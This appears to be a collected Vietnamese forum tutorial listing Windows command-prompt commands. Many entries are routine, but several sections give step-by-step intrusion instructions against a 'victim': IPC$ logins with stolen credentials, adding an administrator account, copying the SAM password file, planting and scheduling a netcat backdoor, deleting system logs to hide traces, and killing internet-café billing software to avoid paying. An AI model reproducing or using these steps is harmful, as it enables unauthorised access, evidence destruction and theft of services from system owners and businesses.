1. Lệnh Ping :
Cú pháp:
Code:
ping ip/host [/t][/a][/l][/n]
- ip: địa chỉ IP của máy cần kiểm tra; host là tên của máy tính cần kiểm tra. Người ta có thể sử dụng địa chỉ IP hoặc tên của máy tính.
- Tham số /t: Sử dụng tham số này để máy tính liên tục "ping" đến máy tính đích, cho đến khi bạn bấm Ctrl + C
- Tham số /a: Nhận địa chỉ IP từ tên host
- Tham số /l : Xác định độ rộng của gói tin gửi đi kiểm tra. Một số hacker sử dụng tham số này để tấn công từ chối dịch vụ một máy tính (Ping of Death - một loại DoS), nhưng tôi nghĩ là hacker có công cụ riêng để ping một gói tin lớn như thế này, và phải có nhiều máy tính cùng ping một lượt.
- Tham số /n : Xác định số gói tin sẽ gửi đi. Ví dụ: ping 174.178.0.1/n 5
Công dụng :
+ Lệnh này được sử dụng để kiểm tra xem một máy tính có kết nối với mạng không. Lệnh Ping sẽ gửi các gói tin từ máy tính bạn đang ngồi tới máy tính đích. Thông qua giá trị mà máy tính đích trả về đối với từng gói tin, bạn có thể xác định được tình trạng của đường truyền (chẳng hạn: gửi 4 gói tin nhưng chỉ nhận được 1 gói tin, chứng tỏ đường truyền rất chậm (xấu)). Hoặc cũng có thể xác định máy tính đó có kết nối hay không (Nếu không kết nối,kết quả là Unknow host)....
2. Lệnh Tracert :
Cú pháp :
Code:
tracert ip/host
Công dụng :
+ Lệnh này sẽ cho phép bạn "nhìn thấy" đường đi của các gói tin từ máy tính của bạn đến máy tính đích, xem gói tin của bạn vòng qua các server nào, các router nào... Quá hay nếu bạn muốn thăm dò một server nào đó.
3. Lệnh Net Send, gởi thông điệp trên mạng (chỉ sử dụng trên hệ thống máy tình Win NT/2000/XP):
Cú pháp:
Net send ip/host thông_điệp_muốn_gởi
Công dụng:
+ Lệnh này sẽ gửi thông điệp tới máy tính đích (có địa chỉ IP hoặc tên host) thông điệp: thông_điệp_muốn_gởi.
+ Trong mạng LAN, ta có thể sử dụng lệnh này để chat với nhau. Trong phòng vi tính của trường tui thường dùng lệnh này để ghẹo mọi người! Bạn cũng có thể gởi cho tất cả các máy tính trong mạng LAN theo cấu trúc sau :
Code:
Net send * hello!I'm pro_hacker_invn
4. Lệnh Netstat :
Cú pháp:
Code:
Netstat [/a][/e][/n]
- Tham số /a: Hiển thị tất cả các kết nối và các cổng đang lắng nghe (listening)
- Tham số /e: hiển thị các thông tin thống kê Ethernet
- Tham số /n: Hiển thị các địa chỉ và các số cổng kết nối...
Ngoải ra còn một vài tham số khác, hãy gõ Netstat/? để biết thêm
Công dụng :
+ Lệnh Netstat cho phép ta liệt kê tất cả các kết nối ra và vào máy tính của chúng ta.
5. Lệnh IPCONFIG :
Cú pháp:
Code:
ipconfig /all
Công dụng:
+ Lệnh này sẽ cho phép hiển thị cấu hình IP của máy tính bạn đang sử dụng, như tên host, địa chỉ IP, mặt nạ mạng...
6. Lệnh FTP (truyền tải file):
Cú pháp:
Code:
ftp ip/host
Nếu kết nối thành công đến máy chủ, bạn sẽ vào màn hình ftp, có dấu nhắc như sau:
Code:
ftp>_
Tại đây, bạn sẽ thực hiện các thao tác bằng tay với ftp, thay vì dùng các chương trình kiểu Cute FTP, Flash FXP.
Nếu kết nối thành công, chương trình sẽ yêu cầu bạn nhập User name, Password. Nếu username và pass hợp lệ, bạn sẽ được phép upload, duyệt file... trên máy chủ.
Một số lệnh ftp cơ bản:
-cd thu_muc: chuyển sang thư mục khác trên máy chủ
- dir: Xem danh sách các file và thư mục của thư mục hiện thời trên máy chủ
- mdir thu_muc: Tạo một thư mục mới có tên thu_muc trên máy chủ
- rmdir thu_muc: Xoá (remove directory) một thư mục trên máy chủ
- put file: tải một file file (đầy đủ cả đường dẫn. VD: c:\tp\bin\baitap.exe) từ máy bạn đang sử dụng lên máy chủ.
- close: Đóng phiên làm việc
- quit: Thoát khỏi chương trình ftp, quay trở về chế độ DOS command.
Ngoài ra còn một vài lệnh nữa, xin mời các bạn tự tìm hiểu.
Công dụng :
+ FTP là một giao thức được sử dụng để gửi và nhận file giữa các máy tính với nhau. Windows đã cài đặt sẵn lệnh ftp, có tác dụng như một chương trình chạy trên nền console (văn bản), cho phép thực hiện kết nối đến máy chủ ftp
7. Lệnh Net View :
Cú pháp:
Code:
Net View [\\computer|/Domain[:ten_domain]]
Công dụng:
+ Nếu chỉ đánh net view [enter], nó sẽ hiện ra danh sách các máy tính trong mạng cùng domain quản lý với máy tính bạn đang sử dụng.
+ Nếu đánh net view \\tenmaytinh, sẽ hiển thị các chia sẻ tài nguyên của máy tính tenmaytinh . Sau khi sử dụng lệnh này, các bạn có thể sử dụng lệnh net use để sử dụng các nguồn tài nguyên chia sẻ này.
8. Lệnh Net Use :
Cú pháp:
Code:
Net use \\ip\ipc$ "pass" /user:"######"
- ip: địa chỉ IP của victim.
- ######: user của máy victim
- pass: password của user
Giả sử ta có đc user và pass của victim có IP là 68.135.23.25 trên net thì ta đã có thể kết nối đến máy tính đó rùi đấy! Ví dụ: user: vitim ; pass :12345 . Ta dùng lệnh sau:
Code:
Net use \\68.135.23.25\ipc$ "12345" /user:"victim"
Công dụng:
+ kết nói một IPC$ đến máy tính victim (bắt đầu quá trình xâm nhập).
9. Lệnh Net User :
Cú pháp:
Code:
Net User [username pass] [/add]
- Username : tên user cấn add
- pass : password của user cần add
Khi đã add đc user vào rùi thì ta tiến hành add user này vào nhóm administrator.
Code:
Net Localgroup Adminstrator [username] [/add]
Công dụng:
+ Nếu ta chỉ đánh lệnh Net User thì sẽ hiển thị các user có trong máy tính.
+ Nếu ta đánh lệnh Net User [username pass] [/add] thì máy tính sẽ tiến hành thêm một người dùng vào.
Ví dụ: ta tiến hành add thêm một user có tên là :xuanhoa , password là :banvatoi vào với cấu trúc lệnh như sau:
Code:
Net User xuanhoa banvatoi /add
Sau đó add user xuanhoa vào nhóm adminnistrator
Code:
Net Localgroup Administrator xuanhoa /add
10. Lệnh Shutdown:
Cú pháp:
Code:
Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [-c "commet] [-d up:xx:yy] (áp dụng cho win XP)
- Tham số -m\\ip : ra lệnh cho một máy tính từ xa thực hiên các lệnh shutdown, restart,..
- Tham số -t xx : đặt thời gian cho việc thực hiện lệnh shutdown.
- Tham số -l : logg off (lưu ý ko thể thực hiện khi remote)
- Tham số -s : shutdown
- Tham số -r : shutdown và restart
- Tham số -a : không cho shutdown
- Tham số -f : shutdown mà ko cảnh báo
- Tham số -c "comment" : lời cảnh báo trước khi shutdown
- Tham số -d up:xx:yy : ko rõ
Code:
shutdown \\ip (áp dụng win NT)
Để rõ hơn về lệnh shutdown bạn có thể gõ shutdown /? để được hướng dẫn cụ thể hơn!
Công dụng:
+ Shutdown máy tính.
11. Lệnh DIR :
Cú pháp:
Code:
DIR [drive:][path][filename]
Lệnh này quá căn bản rùi, chắc tui khỏi hướng dẫn, để rõ hơn bạn đánh lệnh DIR /? để được hướng dẫn.
Công dụng:
+ Để xem file, folder.
12. Lệnh DEL :
Cú pháp:
Code:
DEL [drive:][path][filename]
Lệnh này cũng căn bản rùi, ko phải nói nhìu.
Công dụng:
Xóa một file, thông thường sau khi xâm nhập vào hệ thống, ta phái tiến hành xóa dấu vết của mình để khỏi bị phát hiện.Sau đây là những files nhật ký của Win NT:
Code:
del C:\winnt\system32\logfiles\*.*
del C:\winnt\ssytem32\config\*.evt
del C:\winnt\system32\dtclog\*.*
del C:\winnt\system32\*.log
del C:\winnt\system32\*.txt
del C:\winnt\*.txt
del C:\winnt\*.log
13. Lệnh tạo ổ đĩa ảo trên computer:
Cú pháp:
Code:
Net use z: \\ip\C$ ( hoặc là IPC$ )
- Z là của mình...còn C$ là của Victim
Công dụng:
Tạo 1 đĩa ảo trên máy tính (lệnh này tui ko rõ nên ko thể hướng dẫn chi tiết đc)
14. Lệnh Net Time :
Cú pháp:
Code:
Net Time \\ip
Công dụng:
+ Cho ta biết thời gian của victim, sau đó dùng lệnh AT để khởi động chương trình.
15. Lệnh AT:
Cú pháp:
Code:
AT \\ip
Công dụng:
+ Thông thường khi xâm nhập vào máy tính victim khi rút lui thì ta sẽ tặng quà lưu niệm lên máy tính victim, khi đã copy troj hoặc backdoor lên máy tính rùi ta sẽ dùng lệnh at để khởi động chúng.
Ví dụ: ở đây tui có con troj tên nc.exe (NC là từ viết tắc của NETCAT....nó là một telnet server với port 99) và đc copy lên máy victim rùi. Đầu tiên ta cần biết thời gian của victim có IP là : 68.135.23.25 .
Code:
Net Time \\68.135.23.25
Bây h nó sẽ phản hồi cho ta thời gian của victim, ví dụ : 12:00.
Code:
AT \\68.135.23.25 12:3 nc.exe
Đợi đến 12:3 là nó sẽ tự chạy trên máy nạn nhân và chúng ta có thể connected đến port 99.
16. Lệnh Telnet:
Cú pháp:
Code:
telnet host port
Gõ telnet /? để biết thêm chi tiết. Nhưng nếu như máy victim đã dính con nc rồi thì ta chỉ cần connect đến port 99 là OKie
Code:
telnet 68.135.23.25 99
Công dụng:
+ Kết nối đến host qua port xx
17. Lệnh COPY:
Cú pháp:
Code:
COPY /?
Dùng lệnh trên để rõ hơn!
Công dụng:
+ Copy file, tui khỏi nói thêm nhé.
Ví dụ:chúng ta copy files index trên ổ C của mình lên ổ C của 127.0.0.1
Code:
Copy Index.html \\127.0.0.1\C$\index.html
nếu bạn copy lên folder winNt
Code:
Copy index.html \\127.0.0.1\admin$\index.html
muốn copy files trên máy victm thì bạn gõ vào :
Code:
Copy \\127.0.0.1\Admin$\repair\sam._c:\
18. Lệnh SET:
Cú pháp:
Code:
SET
Công dụng:
+ Displays, sets, or removes cmd.exe enviroment variables.
19. Lệnh Nbtstat:
Cú pháp:
Code:
Nbtstat /?
Gõ lệnh trên để rõ hơn về lệnh này.
Công dụng:
+ Display protocol statistic and curent TCP/IP connections using NBT (netbios over TCP?IP)
20. Lệnh Date :
Cú pháp:
Code:
Date /TCông dụng:
+ Nếu chỉ gõ lệnh date thì hệ thống sẽ hiển thị ngày giờ hệ thống và yêu cầu bạn nhập ngày giờ mới để edit.
+ Nếu gõ lệnh date /t thì bạn chỉ coi thông tin về ngày giờ hệ thống!
21. Lệnh xuất thông tin thành file *.txt:
Cú pháp:
Code:
Câu lệnh >[drive]:\[path]\tenfile.txtCông dụng:
+ xuất một tham số nào đó ra 1 file text .
Ví dụ: bạn đánh lệnh sau:
Code:
ipconfig >C:\myip.txtHệ thống sẽ tạo ra file myip.txt lưu ở ổ đĩa C với thông tin là IP, Gateway, Subnet Mask
22. Lệnh openfiles:
Cú pháp:
Code:
OpenFiles /Disconnect /ID id hoặc OpenFiles /Disconnect /A tên-truy-cậpCông dụng:
+ Cho biết ai đang dùng các tập tin (thư mục) mà bạn đang chia sẽ trên hệ thống mạng
23. Lệnh Recover:
Cú pháp:
Code:
Recover /?Đánh lệnh recover /? để biết thêm chi tiết nhé!
Công dụng:
+ Để "cứu" một file nào đó bị hỏng khi file đó nằm trên vùng đĩa hư (bad sector chăng hạn). Chỉ hoạt động khi hệ thống file của bạn là NTFS (Fat32/Fat không dùng được đâu nhé). Nó dở 1 chỗ là dùng lệnh này cho từng file một nên có nhiều file hư các bạn nên tìm tiện ích của các hãng thứ 3
24. Lệnh Tasklist :
Cú pháp:
Code:
TasklistCông dụng:
+ Liệt kê các tác vụ (các chương trình ứng dụng đang chạy trong bộ nhớ máy tính) chi tiết. Sẽ cho bạn biết tên process đang chạy. Process là một luồng xử lý được CPU cấp riêng khi thực thi một ứng dụng (chương trình) hay PID (Process ID). TaskList hữu ích khi dùng với Taskkill.
+ Để hiểu rõ hơn về lệnh này, hãy gõ /? sau cấu trúc lệnh nhé!
25. Lệnh Taskkill:
Cú pháp:
Code:
Taskkill /PID proccess idĐừng quên thêm /? sau cấu trúc lệnh để hiểu rõ hơn nhé!
Công dụng:
+ Để "kill" một "task" đang chạy trong bộ nhớ. Lợi hại lắm đấy, khi ra net gặp quán nào nó cái DWK hay Netcafe thì mình tắt nó đi cái một!
Ví dụ:
Đầu tiên ta dùng lệnh tasklist để biết được groccess id của chương trình cần tắt.
Code:
tasklistỞ đây tôi thí dụ như tôi cần DWK có groccess id là 524 thì ta dùng lệnh taskkill để tắt nó đi như sau:
Code:
taskkill /PID 524 /ftham số /f là để tắt ứng dụng đó đi một cách hoàn toàn! Gọi là tắt hoàn toàn vậy thui chứ minh run hoặc khởi đọng lại là nó vẫn chạy bình thường ah! Lợi dụng ứng dụng này ta có thể làm giảm bớt chi phí ngồi net bằng cách tắt easy cafe đi. Chừng nào gần về rùi hãy mở lại hoặc nhấn nút reset là xong! He he! Nhưng nhớ phải làm cho khéo kẻo bị đập đó!
26. Lệnh Compact:
Cú pháp:
Compact [/c] [/u] [/s] [/a] [/i] [/f] [/q]
- tham số /c : chỉ định nén một file nào đó
- tham số /u : giải nén một file nào đó
- Các tham số còn lại tự ngâm cứu thêm nhé!
Công dụng:
+ Tương tự như chức năng tiết kệm dung lượng đĩa trên Windows XP hay 2003 (Vista) - chỉ có khi dùng NTFS là "Compress Contents To Save Disk Space". Các bạn có nhiều kiểu làm như click phải chuột vào một file chọn Properties -> Advanced rồi check vào ô tiết kiệm dung lượng cho file này "Compress file to save disk space". Nhưng khi các bánj muốn nén tất các file có phần mở rộng là *.* thì Compact là lựa chọn tốt nhất .
Ví dụ:
Code:
compact /c *.exe27. Lệnh control:
Cú pháp:
Code:
controlCông dụng:
+ Mở control panel bằng CMD
28. Lệnh getmac:
Cú pháp:
Code:
getmacCông dụng:
+ lấy thông tin địa chỉ MAC (Media Access Control) từ card mạng.
29. Lệnh systeminfo:
Cú pháp:
Code:
systeminfoCông dụng:
+ hiện thị thông tin của hệ thống từ cấu hình cơ bản, loại CPU, khu vực địa lý, các bản hotfix (bản cập nhập) đã cài trong máy, v.v...
30. Lệnh tree:
Cú pháp:
Code:
tree [ổ đĩa]:[đường dẫn] [/f] [/a]- Tham số /f : hiển thị tên của file trong mỗi thư mục
- Tham số /a : ko rõ
Công dụng:
+ Hiển thị cấu trúc thư mục dạng cây!
Sưu tầm